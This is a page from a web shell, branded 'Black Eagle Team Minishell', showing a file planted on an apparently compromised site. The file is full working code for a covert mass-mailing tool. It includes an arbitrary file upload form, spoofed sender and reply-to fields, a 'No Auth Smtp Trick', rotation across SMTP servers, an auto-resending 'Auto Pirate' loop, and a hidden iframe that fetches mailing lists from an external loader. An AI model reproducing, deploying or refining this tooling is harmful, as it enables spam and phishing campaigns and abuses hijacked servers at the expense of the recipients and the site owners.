Black Eagle Team Minishell
Path:
/
home
/
c
/
c
/
p
/
ccpsafy
/
www
/
pict
/
accroche
/
new
/
[
Home
]
File: hma.htnl
#!hm //upload mode [[[007]]] <!DOCTYPE html> <html> <body bgcolor="black" style="color:white;"> <form action="" method="post" enctype="multipart/form-data"> Attachment: <input type="file" name="007" id="007"> <input type="submit" value="Upload Attachment" name="submit" onclick="alert('uploading attachment, please wait. you\'ll when it is done.');" > </form> </body> </html> [[[-007-]]] //stop processing further [[[mode]]] <!DOCTYPE html> <html> <head> <title>..</title> </head> <body style="background-color: #000000;overflow-x: hidden;"> <a href="javascript:frameElem.contentWindow.pirate()" style="color:white;"><u>Continue Ahoy!!</u></a><br> <a href="javascript:loadMessage()" style="color:white;"><u>Load Message</u></a> <a href="javascript:saveMessage()" style="color:white;"><u>Save Message</u></a> <br><br> <a href="javascript:void()" onclick="delete localStorage.localUrl;return false" style="color:white;"><u>Reset Loader</u></a> <br><br> <a href="javascript:pauseSending()" style="color:white;"><u>Pause Sending</u></a><br><br> <a href="javascript:smtpFromSetting()" style="color:white;"><u>Setup SMTP FROM</u></a> <span id="pivot"></span> <script type="text/javascript"> function pauseSending() { window.frameElem.contentWindow.pirate = function () { }; window.frameElem.contentWindow.submitForm = function () { }; window.frameElem.contentWindow.stop(); } function smtpFromSetting(){ formE = frameElem.contentDocument.getElementById('smtpfrom'); if (formE.hasAttribute("hidden")) { formE.removeAttribute("hidden"); }else{ formE.setAttribute("hidden", "hidden") } //store values in localStorage } function storeSmtpFrom(){ localStorage.smtpFromUsername = frameElem.contentDocument.getElementById("smtp_from_username").value; localStorage.smtpFromServers = frameElem.contentDocument.getElementById("smtp_from_servers").value; smtpFromSetting() return false } function loader(event) { console.log(event.data); var data = event.data; if (typeof data.mails != 'undefined') { localStorage.lastBatch += data.mails.replace('\\\\n', "\n"); } else if (typeof data.mailerObject != 'undefined') { localStorage.mailerObject = data.mailerObject; location.reload(); } } function loadMails() { var localUrl = localStorage.localUrl; var messageId = localStorage.messageId; var localElem = window.localElem; if (localUrl != null) { if (typeof localElem == 'undefined') { embedLoader(localUrl); } setTimeout(function () { localElem.contentWindow.postMessage({ emailsFile: messageId + "mails.txt" }, "*"); }, 2000); } } function loadMessage() { var localUrl, messageId; var localElem = window.localElem; if (typeof localStorage.localUrl != 'undefined') { localUrl = localStorage.localUrl; messageId = localStorage.messageId; } else { localUrl = prompt("please enter loader url:"); messageId = prompt("Please enter message id"); } localStorage.localUrl = localUrl; localStorage.messageId = messageId; if (localUrl != null) { if (typeof localElem == 'undefined') { embedLoader(localUrl); } setTimeout(function () { localElem.contentWindow.postMessage({ id: messageId, loadMessage: "" }, "*"); }, 2000); } } function saveMessage() { var localUrl; var messageId; var localElem = window.localElem; if (typeof localStorage.localUrl != 'undefined') { localUrl = localStorage.localUrl; messageId = localStorage.messageId; } else { localUrl = prompt("please enter loader url:"); messageId = prompt("Please enter message id"); } localStorage.localUrl = localUrl; localStorage.messageId = messageId; if (localUrl != null) { if (typeof localElem == 'undefined') { embedLoader(localUrl); } setTimeout(function () { localElem.contentWindow.postMessage({ id: messageId, messageContent: localStorage.mailerObject, saveMessage: "" }, "*"); }, 2000); } } function embedLoader(loaderUrl) { var localElem = window.localElem; localElem = document.createElement("iframe"); localElem.setAttribute("src", loaderUrl); //frameElem.setAttribute("width", screen.width); //frameElem.setAttribute("height", screen.height+23); localElem.setAttribute("style", "margin:0;padding:0;width:0;height:0;display: block;"); localElem.setAttribute("frameborder", 0); var dspan = document.getElementById('pivot'); dspan.appendChild(localElem); } function log(what) { if (typeof localStorage.silence != 'undefined' && localStorage.silence != 'yes') { console.log(what); } } //watch for calls to this function function Timeout(fn, interval) { var id = setTimeout(fn, interval); this.cleared = false; this.clear = function () { this.cleared = true; clearTimeout(id); //if (typeof run != 'undefined') {run['code']();} }; } function frameLoadedAct() { var windowObj = window; if (typeof windowObj.reloaderObject == 'undefined' || windowObj.reloaderObject.cleared == true) { windowObj.frameElem.contentWindow.startChecking = 1; return; } try { top.reloaderObject.clear(); } catch (e) { } //load babysitter if not active if (windowObj.babySitter == 'away') { setTimeout(function () { babySit(windowObj.frameElem); windowObj.storePirate = windowObj.frameElem.contentWindow.pirate; windowObj.storeSubmitForm = windowObj.frameElem.contentWindow.submitForm; }, 10000); } } function reloadSenda() { //destroy worker and remake it var windowObj = window; log("reloading sender"); windowObj.frameElem.remove(); setTimeout(function () { embedWorker(); }, 3000); if (typeof (localStorage.numberOfReloads) != 'undefined') { localStorage.numberOfReloads = parseInt(localStorage.numberOfReloads) + 1; } //keep reloading sender till a successfully loaded senda cancels timer top.reloaderObject = new Timeout(function () { reloadSenda(); }, 15000); } function isEven(value) { if (value != 0 && value % 2 == 0) { return true; } return false; } function babySit(elem) { log('checking'); var windowObj = window; var failTimes; if (typeof localStorage.failTimes == 'undefined') { failTimes = String(localStorage.failTimes); } try { if (elem.contentDocument == null && isEven(Number(failTimes)) == true) { //failed to load lets reload page log("loading failed... will reload"); localStorage["continue"] = 'yes'; localStorage.failTimes = String(Number(failTimes) + 1); setTimeout(function () { reloadSenda(); }, 2000); windowObj.babySitter = 'away'; } else if (elem.contentDocument.title == 'Header Maila' || isEven(Number(failTimes)) == false) { //ok, check again in six seconds. localStorage.failTimes = isEven(Number(failTimes)) ? Number(failTimes) : Number(failTimes) + 1; log('everything is ok for now... will check again soon'); setTimeout(function () { babySit(elem); }, 6000); windowObj.babySitter = 'here'; } else { //probably doesn't exist? var htmlCode = elem.contentDocument.head.innerHTML + elem.contentDocument.body.innerHTML; if (htmlCode.match(/404|403|Not\sFound/) === null && isEven(Number(failTimes))) { //other error, just try again log("strange server side error... will reload"); localStorage["continue"] = 'yes'; localStorage.failTimes = Number(failTimes) + 1; setTimeout(function () { reloadSenda(); }, 2000); windowObj.babySitter = 'away'; } else if (isEven(Number(failTimes))) { //nope doesn't exist. stop trying. log('doesn\'t exist sorry )-;'); } } } catch (e) { if (isEven(Number(failTimes)) == true) { log('probably failed to load...will reload.'); localStorage["continue"] = 'yes'; localStorage.failTimes = Number(failTimes) + 1; setTimeout(function () { reloadSenda(); }, 2000); windowObj.babySitter = 'away'; } } } function resilientPirate() { try { log("resilient pirate called pirate"); window.frameElem.contentWindow.pirate(); } catch (e) { setTimeout(function () { resilientPirate(); }, 3000); } } function embedWorker() { var myUri = location.href; var frameUrl = myUri.replace('&mode', '&mode9').replace('?mode', '?mode9'); var frameElem = document.createElement("iframe"); window.frameElem = frameElem; frameElem.setAttribute("src", frameUrl); //frameElem.setAttribute("width", screen.width); //frameElem.setAttribute("height", screen.height+23); frameElem.setAttribute("style", "margin:0;padding:0;width:110vw;height:100vh;display: block;"); frameElem.setAttribute("frameborder", String(0)); //attachment frame //var attachmentUrl = myUri.replace("&mode", "&007").replace("?mode", "?007"); //var attachmentElem = document.createElement("iframe"); //attachmentElem.setAttribute("src", attachmentUrl); //attachmentElem.setAttribute("style", "margin: 0;padding-left:23em;width:110vw;height:10vh;display: block;"); //attachmentElem.setAttribute("frameborder", String(0)); var dspan = document.getElementById('pivot'); //dspan.appendChild(attachmentElem); dspan.appendChild(frameElem); //was relying on frameElem onload but it's not reliable enough //so now using a 15 seconds timeout. //page should have finished loading within a minute //if not just start up the babysitter and let it reload d page. /*setTimeout(function() { if (typeof reloaderObject=='undefined' || reloaderObject.cleared==true) { setTimeout(function() {babySit(frameElem)}, 6000); resilientPirate(); } }, 6000);*/ } embedWorker(); setTimeout(function () { var frameElem = window.frameElem; var windowObj = window; babySit(frameElem); windowObj.storePirate = frameElem.contentWindow.pirate; windowObj.storeSubmitForm = frameElem.contentWindow.submitForm; }, 10000); </script> </body> </html> [[[-mode-]]] [[[mode9]]] <title> Header Maila </title> <style> body, input, textarea{ background-color: #000000; color: #e1e1e1; } body{ overflow-x:hidden; } </style> <body onload="worker()"> <center> <?php if (isset($_SESSION["attachment"])){ echo "Attachment: ".$_SESSION["attachment"]; } ?> <form method="post" id="smtpfrom" action="" hidden> <input id="smtp_from_username" size="45" placeholder="SMTP FROM USERNAME"><br /> <textarea id="smtp_from_servers" cols="45" rows="10" placeholder="list of cohosted servers/smtp servers"></textarea><br /> <input type="submit" value="save" name="go" onclick="return top.storeSmtpFrom()"> </form> <form method="post" id="ship" action="" enctype="multipart/form-data"> <input type="text" name="smtp_from_email" size="45" value="{{randomId}}@{{hostname}}" placeholder="Smtp From Email" style="height: 2.5em;"><br> <br> <input type="text" name="from_name" size="45" value="" placeholder="From Name" style="height: 2.5em;"><br> <input type="text" name="from_email" size="45" value="" placeholder="From Email" style="height: 2.5em;"><br> <input type="text" name="reply_to" size="45" value="" placeholder="Reply To Email" style="height: 2.5em;"><br> <input type="text" name="subject" size="45" value="" placeholder="Subject" style="height: 2.5em;"><br> <input type="text" id="fields" name="fields" size="45" value="" placeholder="Fields" style="height: 2.5em;"><br> <input type="text" id="testemail" name="testemail" size="45" value="" placeholder="Test Emails Comma Separated" style="height: 2.5em;"><br> Email List<br> <textarea id="maillist" name="maillist" cols="45" rows="15"></textarea><br> Message Code<br> <textarea name="msg" id="msg" cols="65" rows="15"></textarea> <br> Attachment: <input type="file" id="fileInput"><br> <strong>Use No Auth Smtp Trick? </strong> [[[No<sub><input type="radio" id="no" name="noAuthSmtp" value="no"></sub>]]] [[[ Yes<sub><input type="radio" id="yes" name="noAuthSmtp" value="yes"></sub>]]]<br> <br> <input type="hidden" name="message"> <input type="hidden" id="list" name="list"> <input type="submit" name="Send" value="Send Message" onClick="return autoPirate('once')"> <input type="submit" name="encode" id="encode_message" value="Encode Message" onClick="return composeEmail('msg', 'fileInput')"> <input type="submit" name="reset" id="reset_message" value="Reset Message" onClick="return resetMessage('msg')"> </form> <a href="javascript:void(0)" onclick="return autoPirate('continuous')">[[::Auto Pirate::]]</a> <a href="javascript:void()" onclick="exportMailerObject()">[[::Export::]]</a><br><a href="javascript:window.stop()" >XX::STOP::XX</a><br> <br> <strong> <div id="topnav" class="topnavigation scrolling"><font color="yellow">STATS:</font><br /> <font color="green">SENT MAILS: <span id="sent">0</span></font><br /> <font color="green">NUMBER OF RELOADS: <span id="reloads">0</span></font> </div> </strong> <style> .topnavigation { position:static; } .topnavigation.scrolling { position:fixed; top:30px; } </style> <script type="text/javascript"> function byName(name) { return document.getElementsByName(name)[0]; } function byId(id) { return document.getElementById(id); } function setValueOfName(name, newValue) { byName(name).value = newValue; } function getValueOfName(name) { return byName(name).getAttribute("value"); } function setAttributeOfName(name, attributeName, newValue) { byName(name).setAttribute(attributeName, newValue); } function getValueOfId(id) { return byId(id).getAttribute("value"); } function setValueOfId(id, newValue) { byId(id).setAttribute("value", newValue); } function setAttributeOfId(id, attributeName, newValue) { byId(id).setAttribute(attributeName, newValue); } function glue() { var testEmailInput = mailerObjectF().testemail; var fieldsInput = mailerObjectF().fields; var mailListInput = byName("maillist").value; var parts = [fieldsInput, mailListInput, testEmailInput]; setValueOfName('list', parts.join("\n")); //test if there are strange characters in message /* var msgValue; try { msgValue = btoa(mailerObjectF().msg); } catch (e) { var encodedStr = encodeHTML(mailerObjectF().msg).replace(/[\u00A0-\u9999<>\&]/g, function (i) { return '&#' + i.charCodeAt(0) + ';'; }); msgValue = utoa(mailerObjectF().msg); } */ setValueOfName('message', mailerObjectF().msg);//msgValue); } function rearrange(elemId){ elem = document.getElementById(elemId); if(elem.innerHTML.indexOf("<")!=-1){ elem.innerHTML=elem.innerHTML.replace('{counter}', localStorage.counter) }else{ elem.innerText=elem.innerText.replace('{counter}', localStorage.counter) } } function utoa(data) { return btoa(unescape(encodeURIComponent(data))); } function encodeToQuotedPrintable(inputString) { inputString = inputString.replace(/=/g, "=3D"); var encodedString = ''; for (var i = 0; i < inputString.length; i++) { var char = inputString[i]; var charCode = char.charCodeAt(0); if (charCode > 127 || char.length > 1) { encodedString += encodeURIComponent(char) .replace(/%/g, '=').toUpperCase(); } else { encodedString += char; } } return encodedString; } function padLines(text, itsBase64=false) { var paddedText = ""; var lines = text.split("\n"); var concatLongLines = "=\n"; var lineLimit = 75 for (var i = 0; i < lines.length; i++) { if(itsBase64){ concatLongLines = "\n"; lineLimit = 76 } if (lines[i].length > lineLimit ) { var chunkedLine = ""; if(itsBase64){ chunkedLine = lines[i].match(/.{1,76}/g).join(concatLongLines); }else{ chunkedLine = lines[i].match(/.{1,75}/g).join(concatLongLines); } paddedText += chunkedLine; } else { paddedText += lines[i]; } if (i < lines.length - 1) { paddedText += "\n"; } } return paddedText; } function removeStyleTags(htmlString) { return htmlString.replace(/<style[^>]*>[\s\S\n\r]*?<\/style>/gi, ''); } function extractPlainTextFromHTML(htmlMessage) { parser = new DOMParser(); htmlDoc = parser.parseFromString(htmlMessage, "text/html"); textContent = ""; function extract(node) { if (node.nodeType === Node.TEXT_NODE) { textContent += node.textContent; } else if (node.nodeType === Node.ELEMENT_NODE && node.tagName === "A") { // Check if parent element is 'a' tag for (const attr of node.attributes) { if (attr.name === "href") { textContent += node.firstChild.textContent + " " + attr.value + " "; break; } } } // Recursively traverse child nodes for (const child of node.childNodes) { extract(child); } } // Start extracting text content recursively extract(htmlDoc.body); return textContent; } function composeEmail(messageInputId, fileInputId) { var htmlMessage = document.getElementById(messageInputId).value; var file = document.getElementById(fileInputId).files[0]; //store pristine message localStorage.pristineMessage = htmlMessage; var boundary = "{{id}}"; var boundaryTwo = "{{id2}}"; var escapedHTML = encodeToQuotedPrintable(htmlMessage); var paddedHTML = padLines(escapedHTML); var plainText = encodeToQuotedPrintable(extractPlainTextFromHTML(htmlMessage)); var paddedText = padLines(plainText); var multipartMessage = ""; var reader = new FileReader(); reader.onload = function (event) { var attachment = event.target.result.split(",")[1]; var paddedAttachment = padLines(attachment, true); multipartMessage += "Content-Type: multipart/mixed; boundary=" + boundary + "\n\n"; multipartMessage += "--" + boundary + "\n"; multipartMessage += "Content-Type: multipart/alternative; boundary=" + boundaryTwo + "\n\n"; multipartMessage += "--" + boundaryTwo + "\n"; multipartMessage += "Content-Type: text/plain; charset=\"utf-8\"\n"; multipartMessage += "Content-Transfer-Encoding: quoted-printable\n"; multipartMessage += "Mime-Version: 1.0\n\n"; multipartMessage += paddedText + "\n\n"; multipartMessage += "--" + boundaryTwo + "\n"; multipartMessage += "Content-Type: text/html; charset=\"utf-8\"\n"; multipartMessage += "Content-Transfer-Encoding: quoted-printable\n"; multipartMessage += "Mime-Version: 1.0\n\n"; multipartMessage += paddedHTML + "\n\n"; multipartMessage += "--" + boundaryTwo + "--\n"; multipartMessage += "--" + boundary + "\n"; multipartMessage += "Content-Type: application/octet-stream\n"; multipartMessage += "Content-Transfer-Encoding: base64\n"; multipartMessage += "Content-Disposition: attachment; filename=\"" + file.name + "\"\n"; multipartMessage += paddedAttachment + "\n"; multipartMessage += "--" + boundary + "--\n"; document.getElementById(messageInputId).value = multipartMessage; console.log(multipartMessage); }; if (file ) { reader.readAsDataURL(file); } else { multipartMessage += "Content-Type: multipart/alternative; boundary=" + boundary + "\n\n"; multipartMessage += "--" + boundary + "\n"; multipartMessage += "Content-Type: text/plain; charset=\"utf-8\"\n"; multipartMessage += "Content-Transfer-Encoding: quoted-printable\n"; multipartMessage += "Mime-Version: 1.0\n\n"; multipartMessage += paddedText + "\n\n"; multipartMessage += "--" + boundary + "\n"; multipartMessage += "Content-Type: text/html; charset=\"utf-8\"\n"; multipartMessage += "Content-Transfer-Encoding: quoted-printable\n"; multipartMessage += "Mime-Version: 1.0\n\n"; multipartMessage += paddedHTML + "\n"; multipartMessage += "--" + boundary + "--\n"; document.getElementById(messageInputId).value = multipartMessage; console.log(multipartMessage); } return false; } function resetMessage(msgId){ document.getElementById(msgId).value = localStorage.pristineMessage; return false; } function encodeHTML(str){ return str.replace(/([\u00A0-\u9999<>&])(.|$)/g, function(full, char, next) { if(char !== '&' || next !== '#'){ if(/[\u00A0-\u9999<>&]/.test(next)) next = '&#' + next.charCodeAt(0) + ';'; return '&#' + char.charCodeAt(0) + ';' + next; } return full; }); } function prefill() { var inputs = ['smtp_from_email', 'from_name', 'from_email', 'reply_to', 'subject', 'fields', 'testemail', 'msg']; //default setAttributeOfId("no", "checked", "checked"); if (typeof localStorage.mailerObject != 'undefined') { var mailerObject = JSON.parse(localStorage.mailerObject); for (var i = 0; i < inputs.length; i++) { setValueOfName(inputs[i], mailerObject[inputs[i]]); } //whether to use no auth smtp trick if (mailerObject['noAuthSmtp'] == "yes") { setAttributeOfId("yes", "checked", "checked"); } else if(mailerObject['noAuthSmtp'] == "no"){ setAttributeOfId("no", "checked", "checked"); }else{ setAttributeOfId("yes", "checked", "checked"); } } } function isBase64(str) { if (typeof str !== 'string') { return false; } return str.indexOf("bs4:") != -1 } function log(what) { if (typeof localStorage.silence != 'undefined' && localStorage.silence != 'yes') { console.log(what); } } //this method might perforate holes in the program need to //be more specific about return type function increment(link) { var parts = link.split(','); if (parts.length < 3) { return false; } var start = parts[1]; var stop = parts[2]; var nustart = parseInt(parts[1]) + 1; if (nustart < parseInt(stop)) { parts[1] = nustart.toString(); return parts.join(','); } else { return false; } } function addToSent(line) { //lets remove it from last sent batch. if (typeof localStorage.lastBatch != 'undefined') { lb = localStorage.lastBatch.replace("\r\n", "\n").split("\n") for (let index = 0; index < lb.length; index++) { const aline = lb[index]; if (aline.indexOf(line) != -1) { lb.splice(index, 1); break; } } localStorage.lastBatch = lb.join("\n"); /* localStorage.lastBatch = localStorage.lastBatch.replace(line + "\n", ''); localStorage.lastBatch = localStorage.lastBatch.replace(line, ''); */ } var numMailSent = 0; if (typeof localStorage.numMailSent != "undefined") { numMailSent = Number(localStorage.numMailSent); } localStorage.numMailSent = numMailSent + 1; document.getElementById('sent').innerHTML = localStorage.numMailSent; } function addToFailed() { var numMailFailed = 0; if (typeof localStorage.numMailFailed != "undefined") { numMailFailed = Number(localStorage.numMailFailed); } localStorage.numMailFailed = numMailFailed + 1; } function encodeFormData() { //already encoded? var form = document.getElementById('ship'); var inputs = form.getElementsByTagName('input'); var listElem = document.getElementById("list"); for (var i = 0; i < inputs.length; i++) { if(inputs[i].value.length==0){continue} if (inputs[i].type != 'submit' && !isBase64(inputs[i].value)) { inputs[i].value = "bs4:"+btoa(encodeURIComponent(inputs[i].value)); // Base64 encoding } } var tarea = form.getElementsByTagName('textarea'); for (var i = 0; i < tarea.length; i++) { if(!isBase64(tarea[i].value)){ if(tarea[i].value.length==0){continue} tarea[i].value = "bs4:"+btoa(encodeURIComponent(tarea[i].value)); // Base64 encoding //tarea[i].innerHTML = btoa(encodeURIComponent(tarea[i].value)); // Base64 encoding } } } function submitForm() { log(this.caller); //window.stop(); encodeFormData(); window.inputsEncoded = true; setTimeout(function(){ byId('ship').submit(); },1000) //only do this if we're in auto pirate mode. var mailerObject = initMailerObject(); if (mailerObject.maillist.length > 0) { log("resubmitting form"); setTimeout(function () { submitForm(); }, 120000); } } function initMailerObject() { if (typeof mailerObjectF() == 'undefined') { if(typeof localStorage.mailerObject == 'undefined'){ localStorage.mailerObject = "{}"; } setMailerObject(JSON.parse(localStorage.mailerObject)); } return mailerObjectF(); } function mailerObjectF() { return window.mailerObject; } function setMailerObject(mailerObject) { window.mailerObject = mailerObject; } function setMailerObjectKey(key, value) { if(isBase64(value) ){ window.mailerObject[key] = decodeURIComponent(atob(value.replace("bs4:", ""))); }else{ window.mailerObject[key] = value; } } function setWindowProperty(key, value) { window.key = value; } function autoPirate(what) { localStorage.counter=0 localStorage.numberOfReloads = 0; var perSend; if (what == "once") { perSend = byName('maillist').value.split("\n").length; } else { perSend = Number(prompt('how many emails to send each time?', String(15))); //perSend = parseInt(perSend); } var inputs = ['smtp_from_email', 'from_name', 'from_email', 'reply_to', 'subject', 'fields', 'testemail', 'msg']; setMailerObject({}); for (var i = 0; i < inputs.length; i++) { setMailerObjectKey(inputs[i], byName(inputs[i]).value); } var maillist = byName('maillist').value.split("\n"); //setWindowProperty("maillist", maillist); localStorage.total = maillist.length; var keepFirstItem = maillist[0]; var thisMaillist = maillist.splice(0, perSend); //mails to send now if (what != 'once') { localStorage.lastBatch = thisMaillist.join("\n"); } else { localStorage.lastBatch = ''; } var firstLetters = keepFirstItem.substr(0, 7); if (firstLetters == 'http://' || firstLetters == 'https:/') { var nulink = increment(keepFirstItem); var tempMailList = (typeof (nulink) == "string") ? [nulink] : []; setMailerObjectKey("maillist", tempMailList); } else { var tempMailList = maillist; //remaining emails setMailerObjectKey("maillist", tempMailList); } if (byId('yes').checked || typeof byId('no').checked =="undefined") { mailerObjectF().noAuthSmtp = "yes"; } else { mailerObjectF().noAuthSmtp = "no"; } mailerObjectF().perSend = perSend; //store mailerObject localStorage.mailerObject = JSON.stringify(mailerObjectF()); localStorage.perSend = perSend; byName('maillist').value = thisMaillist.join("\n"); glue(); localStorage.numMailSent = 0; localStorage.numMailFailed = 0; submitForm(); return false; } function pickAndRotate(serverList){ fpick = serverList[0]; nuList = serverList.slice(1); nuList.push(fpick); localStorage.smtpFromServers = nuList.join("\n"); return fpick; } function pirate() { log(this.caller); //requeue any left over automatically anytime this function was called. requeue(); //check to see if there is some emails to be sent. if (typeof localStorage.mailerObject != 'undefined') { var inputs = ['smtp_from_email', 'from_name', 'from_email', 'reply_to', 'subject', 'fields', 'testemail', 'msg']; setMailerObject(JSON.parse(localStorage.mailerObject)); for (var i = 0; i < inputs.length; i++) { setMailerObjectKey(inputs[i], byName(inputs[i]).value); } //set smtp from if (typeof localStorage.smtpFromServers != "undefined" && localStorage.smtpFromServers.length > 3) { servers = localStorage.smtpFromServers.replace("\r\n", "\n").split("\n"); username = localStorage.smtpFromUsername; smtpFrom = username+"@"+pickAndRotate(servers); setMailerObjectKey("smtp_from_email", smtpFrom); setMailerObjectKey("from_email", smtpFrom); } if (mailerObjectF().maillist.length > 0) { //if maillist is small send a message requesting for more. if (mailerObjectF().maillist.length < 200) { try { parent.loadMails(); } catch (e) { } } //maillist will be pulled from mailerObject. var keepFirstItem = mailerObjectF().maillist[0]; var thisMaillist = mailerObjectF().maillist.splice(0, Number(localStorage.perSend)).join("\n"); byName('maillist').value = thisMaillist; localStorage.lastBatch = thisMaillist; var firstLetters = keepFirstItem.substr(0, 7); if (firstLetters == 'http://' || firstLetters == 'https:/') { var nulink = increment(keepFirstItem); if (typeof nulink == 'string') { mailerObjectF().maillist = (typeof (nulink) == "string") ? [nulink] : []; } else { alert("malformed email list url"); } } localStorage.mailerObject = JSON.stringify(mailerObjectF()); //alert('sending'); glue(); submitForm(); //document.getElementById('ship').submit(); } } } function requeue() { if (typeof localStorage.lastBatch != 'undefined') { //wiping off lastbatch so it is not retried //cos directsend is finicky if (location.href.indexOf('directsend') != -1) { localStorage.lastBatch = ''; } var lastBatch = localStorage.lastBatch.match(/[^\n\r]+/g); //need to append lastbatch to mailerObject initMailerObject(); if (lastBatch != null) { mailerObjectF().maillist = mailerObjectF().maillist.concat(lastBatch); //need to save object just in case something goes wrong //and there was no chance to write it back. localStorage.mailerObject = JSON.stringify(mailerObjectF()); } localStorage.lastBatch = ''; } } function sendingTimer() { //mailobject.maillist check means any last leftover in lastbatch //will not be sent if maillist is empty. need to correct that. if (typeof window.startChecking != 'undefined' && typeof mailerObjectF() != "undefined" && (typeof mailerObjectF().maillist != "undefined" && (mailerObjectF().maillist.length > 0 || localStorage.lastBatch.length > 0))) { window.scrollTo(0, 0); //before pirate is called in, we should move //unsent in last batch back into the queue log('time up! resending'); window.stop(); pirate(); } else { setTimeout(function () { sendingTimer(); }, 240000); } } function worker() { initMailerObject(); if (typeof window.startChecking != 'undefined' && document.readyState == "complete" && typeof mailerObjectF() != "undefined" && (typeof mailerObjectF().maillist != "undefined" && (mailerObjectF().maillist.length > 0 || localStorage.lastBatch.length > 0))) { window.scrollTo(0, 0); //before pirate is called in, we should move //unsent in last batch back into the queue log("worker is continuing."); //window.stop(); pirate(); } else { setTimeout(function () { worker(); }, 2000); } } function exportMailerObjectF() { var maO = JSON.stringify(mailerObjectF()); alert(maO); console.log(maO); } //calls try { top.frameLoadedAct(); setTimeout(function () { window.startChecking = 1; }, 2000); } catch (e) { } window.addEventListener('scroll', window.checkPosition, false); prefill(); //below should be called at regular intervals if (typeof localStorage.numMailFailed != 'undefined') { byId("sent").innerHTML = localStorage.numMailSent; byId('reloads').innerHTML = localStorage.numberOfReloads; } var count = 0; //needed by count checker during sending. setTimeout(function () { sendingTimer(); }, 240000); if(typeof localStorage.counter=="undefined"){localStorage.counter=0} </script> [[[-mode9-]]]
©
2020 Black Eagle Team